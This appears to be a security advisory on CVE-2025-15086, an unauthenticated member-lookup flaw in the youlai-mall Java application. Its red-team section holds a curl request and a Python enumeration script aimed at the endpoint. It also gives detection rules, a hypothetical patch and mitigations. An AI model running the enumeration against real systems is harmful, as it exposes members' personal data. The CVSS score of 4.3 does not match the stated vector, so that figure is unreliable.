CVE-2025-15086

Executive Summary

CVE-2025-15086 identifies an improper access control vulnerability in the getMemberByMobile function within the MemberController.java file of the youlai-mall application (versions 1.0.0 and 2.0.0). This flaw allows an unauthenticated remote attacker to query member information by mobile phone number without proper authorization checks. The vulnerability has a CVSS score of 4.3 (Medium) and a public exploit is available. The vendor was contacted but did not respond, leaving the vulnerability unpatched.

Supply Chain & Package Security

This vulnerability affects the youlai-mall Java/Spring Boot application. While not a direct package dependency issue, the lack of vendor response and absence of a patch create a supply chain risk for any organization using this software. Users must treat this as a zero-day until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited exposure of member mobile numbers
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is easy to exploit remotely without authentication, but the impact is limited to reading mobile phone numbers of registered members.

Deep Dive & Mechanics

The vulnerability resides in the getMemberByMobile endpoint of the MemberController.java file. The controller likely exposes a REST API that accepts a mobile number as a parameter and returns member details without verifying the caller's identity or authorization. The absence of annotations like @PreAuthorize or manual checks in the controller method allows any unauthenticated user to enumerate valid mobile numbers and retrieve associated member data.

Root Cause: Missing access control checks on the getMemberByMobile API endpoint.

Attack Vector: An attacker sends a crafted HTTP GET request to the vulnerable endpoint with a mobile number parameter. If the number exists in the system, the response contains member information (e.g., user ID, name, or other profile data). This can be used for reconnaissance, social engineering, or further attacks.

Proof of Concept (Public): The exploit has been publicly released, demonstrating the exact request needed to trigger the vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (youlaitech/youlai-mall 1.0.0/2.0.0):

// mall-ums/ums-boot/src/main/java/com/youlai/mall/ums/controller/app/MemberController.java
@GetMapping("/getMemberByMobile")
public Result getMemberByMobile(@RequestParam String mobile) {
    Member member = memberService.getMemberByMobile(mobile);
    return Result.success(member);
}

Patched Code (Hypothetical fix):

// mall-ums/ums-boot/src/main/java/com/youlai/mall/ums/controller/app/MemberController.java
@GetMapping("/getMemberByMobile")
@PreAuthorize("hasAuthority('ums:member:query')")
public Result getMemberByMobile(@RequestParam String mobile) {
    // Additional validation: ensure the caller is authenticated and authorized
    Authentication auth = SecurityContextHolder.getContext().getAuthentication();
    if (auth == null || !auth.isAuthenticated()) {
        return Result.error(401, "Unauthorized");
    }
    Member member = memberService.getMemberByMobile(mobile);
    return Result.success(member);
}

Note: Since no official patch exists, the above is a recommended fix. The vendor has not responded.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running youlai-mall 1.0.0 or 2.0.0
• Network access to the application

Exploit Steps:

1. Identify the vulnerable endpoint: /app-api/member/getMemberByMobile
2. Send a GET request with a mobile number parameter:

   curl -X GET "http://target.com/app-api/member/getMemberByMobile?mobile=13800138000"
   

3. If the number exists, the response will contain member details in JSON format.

Example Response:

{
  "code": 200,
  "msg": "success",
  "data": {
    "id": 1,
    "mobile": "13800138000",
    "nickname": "testuser",
    "avatar": "http://example.com/avatar.jpg"
  }
}

Automation Script (Python):

import requests
import sys

def exploit(target, mobile):
    url = f"{target}/app-api/member/getMemberByMobile?mobile={mobile}"
    resp = requests.get(url)
    if resp.status_code == 200 and resp.json().get("code") == 200:
        print(f"[+] Found member: {resp.json()['data']}")
    else:
        print("[-] No member found or endpoint not vulnerable")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <mobile_number>")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2])

Blue Team (Detection & Defense)

Detection:

• Monitor for repeated requests to /app-api/member/getMemberByMobile with different mobile numbers (enumeration pattern).
• Alert on unauthenticated access to this endpoint.

Defense:

• Implement authentication and authorization checks on the endpoint.
• Rate-limit requests to /app-api/member/getMemberByMobile.
• Use a Web Application Firewall (WAF) to block suspicious patterns.
• If possible, disable the endpoint until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /app-api/member/getMemberByMobile?mobile=<number>
  • Repeated requests with sequential or common mobile numbers (e.g., 13800138000, 13900139000)
• Log IOCs:
  • Access logs showing 200 responses from /app-api/member/getMemberByMobile without prior authentication
  • Multiple requests from the same IP address to the vulnerable endpoint
• File IOCs:
  • Presence of exploit scripts or tools targeting this endpoint

Detection Engineering

YARA Rule

rule CVE_2025_15086_Exploit_Detection {
    meta:
        description = "Detects exploitation attempts for CVE-2025-15086"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15086"
    strings:
        $endpoint = "/app-api/member/getMemberByMobile"
        $param = "mobile="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-15086 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit improper access control in youlai-mall getMemberByMobile endpoint
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/app-api/member/getMemberByMobile'
        cs-uri-query|contains: 'mobile='
    condition: selection
falsepositives:
    - Legitimate admin testing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15086 - youlai-mall getMemberByMobile Exploit Attempt"; flow:to_server,established; http.method; content:"GET"; http.uri; content:"/app-api/member/getMemberByMobile"; http.uri; content:"mobile="; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not required: Comment out or remove the getMemberByMobile mapping in MemberController.java.
2. Implement authentication: Add Spring Security annotations (e.g., @PreAuthorize) to require authentication.
3. Rate-limit requests: Use a rate-limiting filter to prevent enumeration.
4. Monitor logs: Actively watch for exploitation attempts.

Long-term Fix:

• Wait for an official patch from the vendor. Since the vendor did not respond, consider forking the repository and applying the fix yourself.
• Upgrade to a patched version if released.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests to /app-api/member/getMemberByMobile:

  location /app-api/member/getMemberByMobile {
      deny all;
      return 403;
  }
  

Valters IT
Securing Digital Frontiers